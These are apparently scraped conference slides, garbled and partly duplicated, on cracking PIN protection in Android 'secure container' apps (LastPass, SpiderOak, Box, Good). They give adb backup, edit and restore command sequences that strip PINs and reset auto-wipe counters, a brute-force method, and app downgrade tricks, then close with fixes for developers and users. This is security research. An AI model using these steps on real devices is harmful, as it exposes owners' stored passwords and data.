  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 42: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 43: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

